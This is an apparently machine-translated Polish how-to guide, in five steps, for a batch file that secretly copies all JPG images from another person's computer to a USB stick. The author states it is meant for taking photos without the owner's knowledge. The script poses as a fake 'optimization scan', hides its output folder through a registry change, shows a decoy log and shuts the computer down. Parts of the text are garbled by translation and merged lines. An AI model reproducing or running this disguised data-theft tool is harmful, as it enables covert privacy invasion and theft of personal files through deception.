Tajny plik wsadowy do kopiowania zdjęć szpiegowskich: 5 kroków

2024 Autor: John Day | [email protected]. Ostatnio zmodyfikowany: 2024-01-30 11:34

Tak więc, po pierwsze, czym jest to instruktażowe tworzenie i dlaczego. Ta instrukcja pozwoli ci utworzyć plik wsadowy, który skopiuje wszystkie obrazy z komputera na kartę pamięci. zrobi to dyskretnie, udając inny program, który sprawdza komputer pod kątem problemów. Po zakończeniu będziesz mieć ukryty folder na karcie pamięci ze wszystkimi skopiowanymi obrazami. Dlaczego? Stworzyłem to instruktażowe, ponieważ chciałem odzyskać cyfrowe zdjęcie z czyjejś maszyny bez wiedzy, że to zrobiłem. Uzasadnione użycie tego pliku pozwoli Ci na archiwizację/kopie zapasowe Twoich osobistych zdjęć. Inne zastosowania: Ten plik można zmodyfikować, aby umożliwić kopiowanie dowolnego innego typu dokumentu.

Krok 1: Napisz kod

Skopiuj poniższy kod do notatnika i zapisz go w katalogu głównym karty pamięci jako plik bat, możesz nazwać go, jak chcesz, o ile ma rozszerzenie.bat. Aby upewnić się, że ma prawidłowe rozszerzenie, wpisz je w następujący sposób w polu zapisu notatnika „copyimage.bat” (dołącz cytaty!)

@echo offecho Klient optymalizacji 2008 v3.02becho --------------------------------echo.echo Nie używaj swojego komputera gdy jest uruchomiony.echo.echo Lista procesów skanowania. Po zakończeniu zostanie wyświetlony dziennik, aby administrator systemu mógł przeglądać.echo.echo Prosimy o cierpliwość, może to potrwać do 3 godzin.reg dodaj HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nulmkdir \data >nulattrib +h \data >nulsetLocal EnableDelayedExpansion@echo offfor %%a in (jpg) do (for /f "tokens=* delims= " %%f in ('dir/b/s/ ad c:\*.%%a') do (xcopy "%%f" \data\ /y /h /q >nul))attrib -s +h data\* >nulstart optymalizacjaLog.txtshutdown /s /c " Skanowanie optymalizacyjne zakończone, komputer zostanie teraz wyłączony"

Krok 2: Utwórz fałszywy plik raportu

W tym kroku stworzyłem fałszywy plik tekstowy, który udaje dziennik wyników pliku wsadowego, który uruchamiamy w celu skopiowania plików. To pozwala ci udawać, że coś się stało. Nie ma znaczenia, co mówi ten plik, możesz go zmienić, ile chcesz, po prostu upewnij się, że nazwa pliku jest poprawna i że jest przechowywany w katalogu głównym twojej karty pamięci. Tekst, którego użyłem, pochodzi głównie z przejęcia tego zaloguj, skopiuj go i zapisz w katalogu głównym karty pamięci jako optymalizacjiLog.txt

Skanowanie zakończone. Zamknij ten dziennik i pozwól administratorowi systemu go przejrzeć. Uruchomione procesy:C:\Windows\system32\taskeng.exeC:\Windows\system32\Dwm.exeC:\Windows\Explorer. EXEC:\Program Files\Java\jre1. 6.0_07\bin\jusched.exeC:\Windows\System32\hkcmd.exeC:\Windows\System32\igfxpers.exeC:\Windows\system32\igfxsrvc.exeC:\Program Files\Synaptics\SynTP\SynTPEnh.exeC:\Program Files\TOSHIBA\Power Saver\TPwrMain.exeC:\Program Files\TOSHIBA\SmoothView\SmoothView.exeC:\Program Files\TOSHIBA\FlashCards\TCrdMain.exeC:\Program Files\BitDefender\BitDefender 2009\bdagent.exeC:\ Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeC:\Program Files\Registry Mechanic\regmech.exeC:\Program Files\BitDefender\BitDefender 2009\seccenter.exeC:\Program Files\Synaptics\SynTP\SynTPHelper.exeC:\Program Files\ Vuze\Azureus.exeC:\Program Files\Microsoft Office\Office12\OUTLOOK. EXEC:\Program Files\AutoCAD 2008\acad.exeC:\Users\Tom\AppData\Local\Temp\AdskCleanup.0001C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\UWAGA PAD. EXEC:\Windows\system32\SearchFilterHost.exeC:\HijackThis\HijackThis.exeR1 - HKCU\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU\Software\Microsoft \Internet Explorer\Główna, strona wyszukiwania = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU\Software\Microsoft\Internet Explorer\Główna, strona początkowa = https://www.google.co. ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Search_URL = https://go.microsoft.com/ fwlink/?LinkId=54896R1 - HKLM\Software\Microsoft\Internet Explorer\Main, strona wyszukiwania = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM\Software\Microsoft\Internet Explorer\Main, Start Page = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM\Software\Microsoft\Internet Explorer\Search, SearchAssistant = R0 - HKLM\Software\Microsoft\Internet Explorer\Search, CustomizeSearch = R0 - HKCU \Software\Microsoft\Internet Explorer\Too lbar, LinksFolderName = O1 - Hosty:::1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim:dll. Pomocnik przeglądarki Groove GFS - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dllO2 - BHO: Klasa SSVHelper - {761497BB-D6F0-462C-B6D92D4}:\Program Files\Java\jre1.6.0_07\bin\ssv.dllO3 - Pasek narzędzi: Pasek narzędzi BitDefender - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C:\Program Files\BitDefender\BitDefender 2009\IEToolbar.dllO4 - HKLM\..\Run: [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hideO4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\ jusched.exe"O4 - HKLM\..\Run: [IgfxTray] C:\Windows\system32\igfxtray.exeO4 - HKLM\..\Run: [HotKeysCmds] C:\Windows\system32\hkcmd.exeO4 - HKLM\..\Run: [Persistence] C:\Windows\system32\igfxpers.exeO4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Syna ptics\SynTP\SynTPEnh.exeO4 - HKLM\..\Run: [TPwrMain] %ProgramFiles%\TOSHIBA\Power Saver\TPwrMain. EXEO4 - HKLM\..\Run: [SmoothView] %ProgramFiles%\Toshiba\SmoothView\SmoothView.exeO4 - HKLM\..\Run: [00TCrdMain] %ProgramFiles%\TOSHIBA\FlashCards\TCrdMain.exeO4 - HKLM\..\Run: [Toshiba TEMPO] C:\Program Files\Toshiba TEMPRO\Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM\..\Run: [BDAgent] "C:\Program Files\BitDefender\BitDefender 2009\bdagent.exe"O4 - HKLM\..\Run: [BitDefender Antiphishing Helper] "C:\Program Files\BitDefender\BitDefender 2009\IESshow.exe"O4 - HKCU\..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeO4 - HKCU\..\Run: [Mechanik rejestru] C:\ Program Files\Registry Mechanic\RMTray.exe /HO4 - Uruchomienie: OneNote 2007 Screen Clipper and Launcher.lnk = C:\Program Files\Microsoft Office\Office12\ONENOTEM. EXEO8 - Dodatkowy element menu kontekstowego: E&eksportuj do programu Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Dodatkowy przycisk: (brak nazwy) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C:\PROGRA~1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Dodatkowy element menu 'Narzędzia': Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\PROGRA~ 1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Dodatkowy przycisk: Wyślij do programu OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Dodatkowy element menu 'Narzędzia': Wyślij do OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Dodatkowy przycisk: eBay.co.uk - Kup Sprzedam to Kocham to - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (brak pliku)O9 - Dodatkowy przycisk: (brak nazwy) - {85d1f590-48f4-11d9-9669-0800200c9a66} - %windir%\bdoscandel.exe (brak pliku) O9 - Dodatkowy element menu 'Narzędzia': Odinstaluj BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir%\bdoscandel.exe (brak pliku) O9 - Dodatkowy przycisk: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec/obidos/redirect-home?tag=Toshibaukbholink-2 1&site=home (brak pliku)O9 - Dodatkowy przycisk: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\Office12\REFIEBAR. DLLO10 - Nieznany plik w Winsock LSP: c:\windows\system32\nlaapi.dllO10 - nieznany plik w Winsock LSP: c:\windows\system32\napinsp.dllO10 - nieznany plik w Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dllO10 - nieznany plik w Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dllO11 - Grupa opcji: [INTERNATIONAL] International*O13 - Prefiks Gopher: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (klasa get_atlcom) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protokół: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Files\ Microsoft Office\Office12\GrooveSystemServices.dllO18 - Protokół: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Program Files\Common Files\Microsoft Shared\Help\hxds.dllO18 - przejęcie filtra: tekst/ xml - {807563E5-5146-11D5-A672-00B0D022E945} - C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE12\MSOXMLMF. DLLO20 - Powiadomienie Winlogon: igfxcui - C:\Windows\SYSTEM32\igfxdev.dllO23 - Usługa: Agere Dźwięk postępu połączenia modemowego (AgereModemAudio) - Agere Systemy - C:\Windows\system32\agrsmsvc.exeO23 - Usługa: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C:\Program Files\Common Files\BitDefender\BitDefender Arrakis Server\bin\Arrakis3.exeO23 - Usługa: Autodesk Licensing Service - Autodesk - C:\Program Files\Common Files\Autodesk Shared \Service\AdskScSrv.exeO23 - Usługa: ConfigFree Service - TOSHIBA CORPORATION - C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exeO23 - Usługa: @%SystemRoot%\ehome\ehstart.dll, -101 (ehstart) - nieznany właściciel - %windir%\system32\svchost.exe (brak pliku)O23 - Usługa: pomocnik getPlus(R) - NOS Microsystems Ltd. - C:\Program Files\NOS\bin\getPlus_HelperSvc.exeO23 - Usługa: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Nieznany właściciel - C:\Program Files\Google\Update\GoogleUpdate.exe" /svc (brak pliku)O23 - Usługa: BitDefender Desktop Update Service (LIVESRV) - Nieznany właściciel - C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe" /service (brak pliku)O23 - Service: @%SystemRoot%\system32\qwave.dll, -1 (QWAVE) - Nieznany właściciel r - %windir%\system32\svchost.exe (brak pliku) O23 - Usługa: @%SystemRoot%\system32\seclogon.dll, -7001 (seclogon) - Nieznany właściciel - %windir%\system32\svchost.exe (plik brak)O23 - Usługa: Usługa dostrajania wydajności notebooków (TempoMonitoringService) - Toshiba Europe GmbH - C:\Program Files\Toshiba TEMPRO\TempoSVC.exeO23 - Usługa: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C:\Program Files\ TOSHIBA\TOSHIBA DVD PLAYER\TNaviSrv.exeO23 - Usługa: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C:\Windows\system32\TODDSrv.exeO23 - Usługa: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation - c:\ Program Files\TOSHIBA\Power Saver\TosCoSrv.exeO23 - Usługa: TOSHIBA SMART Log Service - TOSHIBA Corporation - c:\Program Files\TOSHIBA\SMARTLogService\TosIPCSrv.exeO23 - Usługa: VMware Agent Service (ufad-ws60) - nieznany właściciel - C:\Program Files\VMware\VMware Workstation\vmware-ufad.exe" -d "C:\Program Files\VMware\VMware Workstation\" -s ufad-p2v.x ml (brak pliku)O23 - Usługa: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C:\Program Files\Common Files\Ulead Systems\DVD\ULCDRSvr.exeO23 - Usługa: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C:\Program Files\VMware\VMware Workstation\vmware-authd.exeO23 - Usługa: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C:\Windows\system32\vmnetdhcp.exeO23 - Usługa: VMware NAT Usługa - VMware, Inc. - C:\Windows\system32\vmnat.exeO23 - Usługa: BitDefender Virus Shield (VSSERV) - Nieznany właściciel - C:\Program Files\BitDefender\BitDefender 2009\vsserv.exe" /service (brak pliku)O23 - Usługa: VNC Server wersja 4 (WinVNC4) - Nieznany właściciel - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -usługa (brak pliku) O23 - Usługa: @%ProgramFiles%\Windows Media Player\wmpnetwk.exe, -101 (WMPNetworkSvc) - Nieznany właściciel - %ProgramFiles%\Windows Media Player\wmpnetwk.exe (brak pliku)

Krok 3: Uruchom program

Powinieneś teraz mieć kartę pamięci z dwoma plikami (i dużą ilością wolnego miejsca na nowe obrazy). Jeśli masz coś innego na dysku, nie ma to znaczenia. Zabierz kartę pamięci do komputera docelowego. Po zarejestrowaniu zanotuj przypisaną do niego literę dysku, co pozwoli ci go uruchomić bez konieczności wcześniejszego przeglądania folderu. Naciśnij klawisz Windows, a następnie naciśnij „R” (nadal przytrzymując klawisz Windows). Spowoduje to wyświetlenie okna Uruchom. W polu uruchamiania wpisz ścieżkę utworzonego przez nas pliku wsadowego, przy czym litera dysku jest literą przypisaną po podłączeniu karty pamięci. Na przykład, jeśli włożę kartę pamięci i zarejestruje ona ag: / drive, uruchomiłbym:g:\copyimage.batA następnie naciśnij enter lub kliknij run. Spowoduje to uruchomienie pliku wsadowego. Po zakończeniu wyłączy maszynę. Wyjmij kartę pamięci i zabierz ją!

Krok 4: Zdobądź obrazy

Teraz powinieneś mieć kartę pamięci ze wszystkimi obrazami. Pliki i foldery są ukryte, więc jeśli ich nie wyświetlasz, musisz je włączyć. Aby to zrobić, przejdź do okna eksploratora (np. otwórz mój komputer) i: WinXP - Narzędzia, Opcje folderów, Widok, Pokaż ukryte plikiVista - Organizuj, Opcje folderów i wyszukiwania, Widok, Pokaż ukryte pliki Po wybraniu powinieneś być w stanie otworzyć ukryty folder i zdobądź żądane obrazy!

Krok 5: Co oznacza kod

Wyjaśnię jak najwięcej kodu. główna funkcja kopiowania nie została napisana przeze mnie, pożyczyłem ją z poniższej strony i zmodyfikowałem:

@echo off ''Zatrzymuje wyświetlanie poleceń na ekranie, więc użytkownik nie wie, co się dzieje echo Klient optymalizacji 2008 v3.02b echo ------------------- -------------Echo. Zapisuje na ekranie tytuł programu echo Proszę nie używać komputera, gdy jest uruchomiony.echo.echo Lista procesów skanowania. Po zakończeniu zostanie wyświetlony dziennik, który administrator systemu będzie mógł przeglądać.echo.echo Prosimy o cierpliwość, może to potrwać do 3 godzin. Informuje użytkownika o ilości śmieci, które nie są prawdziwe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul Dodaje klucz rejestru, który będzie ukrywał ukryte pliki i lornetka składana. Dzięki temu użytkownik nie będzie mógł zobaczyć folderu, który tworzymy do przechowywania skopiowanych obrazów. Polecenie nul na końcu powoduje, że polecenie nie zgłasza żadnych komunikatów po zakończeniu mkdir \data >nul Tworzy folder na dysku, na którym znajduje się ten plik wsadowy, o nazwie data. attrib +h \data >nul Ukrywa utworzony folder setLocal EnableDelayedExpansionfor %%a in (jpg) do (for /f "tokens=* delims= " %%f in ('dir/b/s/ad c:\*). %%a') do (xcopy "%%f" \data\ /y /h /q >nul)) To jest kod, który przeszuka cały dysk c:\ w poszukiwaniu obrazów. Jeśli chcesz, aby przeszukał inny dysk, zmień część c: na to, co chcesz. Jeśli chcesz znaleźć inne typy plików, wymień je obok tekstu jpg, oddziel typy plików spacją. Na przykład-j.webp